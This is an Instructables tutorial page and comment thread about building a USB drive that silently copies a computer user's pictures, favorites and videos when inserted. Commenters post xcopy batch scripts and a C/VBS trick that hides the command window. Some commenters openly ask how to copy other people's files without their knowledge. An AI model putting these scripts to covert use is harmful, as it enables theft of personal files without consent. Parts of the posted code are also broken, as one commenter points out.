How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Step 1: Materials needed

Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.
<p>I'm currently only using the .bat file to transport files from &quot;to USB&quot; folder on my desktop to my thumb drive. </p><p>Maybe later i will add the invisible part. Sad though that the autorun does not work on newer version.</p><p>Ty for this tutorial, i found the way it is explained very clear.</p>
This is gibberish.<br><br>/min is not a command (it is an argument for the start command)<br>You dont specify the flash drives letter at any point,<br>You haven't set the variables odrive or drive (so they will be blank)<br>Variable Odrive equals variable odrive minus the last two letters?<br>Echo is off already, no need to type it three times.<br>You clear the screen before exit - why, nobody will see because the program is closed..<br><br>@echo off<br>:: variables<br>/min<br>SET odrive=%odrive:~0,2%<br>set backupcmd=xcopy /s /c /d /e /h /i /r /y<br>echo off<br>%backupcmd% &quot;%USERPROFILE%\pictures&quot; &quot;%drive%\all\My pics&quot;<br>%backupcmd% &quot;%USERPROFILE%\Favorites&quot; &quot;%drive%\all\Favorites&quot;<br>%backupcmd% &quot;%USERPROFILE%\videos&quot; &quot;%drive%\all\vids&quot;<br>@echo off <br>cls
<p>Please help me someone. I'm not to knowledgeable about this stuff but I really want to just use my little flash drive as a backup for my own stuff. It worked so cool the first time even though it ran for hours overnight. But it won't autostart and even though I can manually start it by clicking file.bat in File Explorer, I want it to work. AND I see a weird &quot; '/min' is not recognized as an internal or external command, operable program or batch file&quot; and also a few weird ACCESS DENIED errors in the box as it runs. But after checking, I think that it is copying everything. </p><p>This site won't let me paste in what I have in file.bat on this Windows 10 ACER. It acts like it will and flashes the text but then they're just gone. So I'll post PrintScreens instead.</p>
I don't understand how to use this site and I'm WAY sure that I'm not alone. It is screwed up if you ask me.<br>I got an email saying:<br>-----------------------------------------<br>From: NoahW9<br>Date: Apr 3, 2016. 1:32 PM<br>Subject: http://www.instructables.com/id/How-to-make-flash-drive-that-copys-users-files-si/<br>Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you want to make it work as an autorun file the windows version has to be before 7. Sorry.- Noah Wamboldt<br>reply: http://www.instructables.com/you/backtalk/?action=reply&amp;commentId=C84TN0FIMKTNO4Y<br>------------------------------------------<br>But when I clicked on the REPLY link on my Windows smartphone, it brought me to this site and that Reply of his was nowhere to be found. So then I thought that it must just be something wrong with my smartphone or some issue with how this site works on smartphones. <br>But now when I come to it on my Windows 10 computer by clicking on the same REPLY link in the email in my Outlook 2013, I also don't find his Reply anywhere. <br>So someone in IT REALLY needs to fix this site I guess. <br>I'll just give up on this site and use Tech Republic, Microsoft Answers, Bob's and other places to help me with stuff.<br>
<p>Yeah I am having the same problem<br><br>Everytime I have to click the file.bat</p>
<p>Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you want to make it work as an autorun file the windows version has to be before 7. Sorry.</p><p>- Noah Wamboldt</p>
I must have changed something in mid March 2016 since when I just ran it, it took a long time and it seemed to sync IE only Copy in any files that had been Modified. It took a long time, maybe an hour+?, as I saw it go thru the entire list of files is that little black screen instead of just the short list as it had done before.<br>If anyone knows what Setting I must have changed and where it is, could you tell me so I can make a note of that for the future?
I've been told that Microsoft built Windows 10 to not allow anything in a USB Flash Drive to autostart for security purposes. So I guess the only option is to click that file.bat each time only after you Delete any files that it saved the last time into any of the folders in ALL that you've edited on your computer. That way it will copy the new copy of it since this program unfortunately doesn't just sync them and only keep the newest copy. It apparently just skips it if it finds a file with the same name. <br>I'd actually asked for someone to help me make it do a SYNC instead of a COPY in this Question that I asked over at Microsoft Answers: http://answers.microsoft.com/en-us/windows/forum/windows_10-files/edited-can-i-have-help-making-this-homemade-usb/4ddaad45-70c2-4313-a78d-1682735fe1ee<br>Also, I've been told that even though Windows 10 is designed to not perform an autostart after inserting a USB Flash Drive, apparently there's a workaround where you can somehow designate some partition on the Flash Drive as if it is a CD or DVD disc and then Windows 10 can do the autostart. But that stuff is way over my head so I just do it the simple way by clicking FILE.BAT to get it going after you insert the Flash Drive and File Explorer pops up showing you what is on it.
<p>man i have a problem i cant save a text as an .inf text on the usb drive what should i do??pls someone help</p>
<p>Windows have taken off the autorun capability since windows 7 through the updates and software updates. If you wanto make it work as a autorun file the windows verison has to be before 7. Sorry.</p><p>- Noah Wamboldt</p>
<p>$25 for an 8 gig drive? Wow! HUGE RIPOFF!!!!!! I got a package of 2 8GB cruzer glides for a little under $20.</p>
<p>is there a way to delete the original files after copying them to the thumb drive and/or instead of copying, just moving them from point a to point b?</p>
<p>Can this script be modified to steal files off usb drives?</p>
Can this be modified to steal files off android devices?
Yes it sort of can be modified but you then need to learn how to use Python
<p>Could anyone help me please? I just made one of these on my XP machine. Then I took the flashdrive to my Windows 10 ACER Aspire Z and it worked as it should when I put it in or at least I think it copied everything. I'm the only User so I'm also the Admin. But the 2nd time I inserted it, a box popped saying that it needed to restructure the drive or something (don't remember). I stupidly let it.<br>Then when I pulled it out and put it back in, nothing happened. The only way that I found to make it run at all is to use File Explorer and find file.bat and right click it and click RUN AS ADMINISTRATOR. </p><p>So I did that and it seemed to copy files. I was surprised since I'd needed to figure out what to name a few folders in file.bat and also since I saw a few 'ACCESS DENIED' as it ran. I reviewed everything I find in ALL and it seems like all is there. <br>I'd really like to fix it so that it will run just by inserting it. I took it back over to my XP and copied the 4 special files to the desktop and then did a Quick Format on the drive and then copied those 4 files back on and I created a folder named ALL.</p><p>But it still doesn't auto-start so I still need to go click on file.bat to get it going. At least this time I didn't need to RUN AS ADMINISTRATOR.</p><p>I'd also wanted to test it to figure out if I modified a file or even if I Deleted one, whether or not it would do that on the flash drive. <br>I'm new to this site and I don't know if it will email me if someone responds to help me. I hope that it does.</p>
<p>Am having issues am using a windows 8 and i followed the instructions one after the other but its not working </p>
<p>How can I make it to copy a flash drive? Let say someone has a flash drive plugged in and I put mine in and I can copy them without them knowing? I copied everything above and it works but i also want to be able to copy there flash drive help!!</p>
I made all the file as described but its is not working my windows is 8.1 pro. Plz. Solve my problem as fast as can. After i click on file.bat command prompt pop up and copying start . Solve my problem. Thanks
<p>my only question is how do you reverse the processs? How do you make the computer copy the USB files onto the computer? it seems that would be better for trolling</p>
<p>In the file.bat this code is in there to copy files from the PC.</p><p>%backupcmd% &quot;%USERPROFILE%\pictures&quot; &quot;%drive%\all\My pics&quot;</p><p>So if you switched the two codes in quotes it'll copy files from the USB. Like So.</p><p>%backupcmd% &quot;%drive%\all\My pics&quot; &quot;%USERPROFILE%\pictures&quot;</p>
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% &quot;%USERPROFILE%\Favorites&quot; &quot;%drive%\backup\favorites&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.jpeg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.wmv&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Contacts&quot; &quot;%drive%\backup\contacts&quot; %backupcmd% &quot;%USERPROFILE%\Links&quot; &quot;%drive%\backup\links&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\My Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\Downloads&quot; &quot;%drive%\backup\downloads&quot; %backupcmd% &quot;%USERPROFILE%\My Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.mpg&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Pictures&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Videos&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\Downloads&quot; &quot;%drive%\backup\downloads&quot; %backupcmd% &quot;D:\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.jpeg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.wmv&quot; &quot;%drive%\backup\vid&quot; @echo on cls
<p>it only copy one file with same extention. but how we can copy many files with same extension</p>
hmm, is there a simple way i can exclude a specific folder? like say... &quot;AppData&quot;<br>it just keeps getting in the way.
just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say &quot; CreateObject(&quot;Wscript.Shell&quot;).Run &quot;&quot;&quot;&quot; &amp; WScript.Arguments(0) &amp; &quot;&quot;&quot;&quot;, 0, False &quot; also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?
You could get a batch to exe converter and most of them have options like run in background so it's an exe file but you can't see the command window when you run it.
There is in fact a way to not have a command box come up. The way I do it is:<br> +Write (and compile) a C file that runs your batch file's commands invisibly<br> <br> &nbsp;&nbsp;&nbsp;&nbsp; #include &lt;stdio.h&gt;<br> &nbsp;&nbsp;&nbsp;&nbsp; #include &lt;windows.h&gt;<br> &nbsp;&nbsp;&nbsp;&nbsp; int main()<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system(&quot;examplefile.bat&quot;);<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (0);<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br> <br> <br> <br> +Write a VBS file that runs that compiled C program (now a shiny .EXE file)<br> <br> &nbsp;&nbsp;&nbsp; Set objSh = CreateObject(&quot;Shell.Application&quot;)<br> &nbsp;&nbsp;&nbsp; objSh.ShellExecute &quot;example-exe-file&quot;, &quot;&quot; , &quot;&quot;, &quot;&quot;, 0<br> <br> Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.<br> <br> This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).<br> <br> For more help, just comment.<br> <br> By the way, I was about to write an instructable on that, but now I dont think it's necassary.<br> <br>
lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.
hey please show me what to assign to folder for example if i want any bat file i say&quot; *.bat&quot; and for any file &quot;*.*&quot; what can i say for any folder any whare?? please ur blessed and show me
how would you coppy the documents folder please paste the code in the reponse.
<p>Yes, I will answer; Learn batch code. You really need that. It will make everything on your computer easier. For your needs:</p><p><em>@echo off</em></p><p><em>xcopy C:\Users\%USERNAME%\Documents E: /E /H</em></p><p>xcopy is a powerfool tool. Use it wisely! 'With great power, comes great responsibility.' ;P</p>
How can i root the files?And how did you do the icon?
No, you just copy all the files (.bat, .inf., .vbs etc) and copy them to the root of your stick, (example &quot;G://&quot;)
<p>but how</p><p>???</p>
<p>hey I want to copy only those files which are selected by user.........at some predefined location........to copy those files I will provide one option in right click context menu....</p>
<p>hey I want to copy only those files which are selected by user.......at some default location which is predefined.......</p><p>to copy the files I want to give one extra option when user right click on that file......</p>
<p>Hey everyone I am having issues. I am trying to sync files from one folder to another when they plug in the USB drive. I have a .bat file that correctly syncs the folders. I have an autorun that changes the name of the drive and the icon. However, I can not get the autorun to run the .bat file. Any Ideas?</p>
<p>This is a problem that Windows Bill Gates himself discovered so he disabled autorun there fore stopping it froms starting pprograms other than from the computer and also this was only stoped from xp onwards and xp soo yeah...</p><p>Good luck</p><p>P.S for your trying to do this on an windows XP computer it will work unless they have trend micro office securiy it blocks all auto run features from outr side of the computer</p>
<p>I Like this page thanks</p>
<p>Thanks for the information made one, great for backups without having to click on a bunch of things. I did have to click on the autolaunch to execute but one button is a lot less thanks.</p>
could sombody modify this code so that it copys the entire hard drive.
<p>yes you could But You wold probs need a hars disk instead of a usb because It would be like 200G or more</p>
<p>Hi, I'd like to use this for backing up User profiles, and documents at my company and then later on restore that info onto their new computers. Is there anyway to make it so the backup folder automatically gets renamed to the User Profile's name?</p><p>So, I may backup multiple computers first and then later on know which documents belong to that particular user.</p>
<p>yes there is but You cant find it here go look on youtube.com </p>

About This Instructable




More by bigdaddyclint:How to make flash drive that copy's users files silently and automatically
Add instructable to: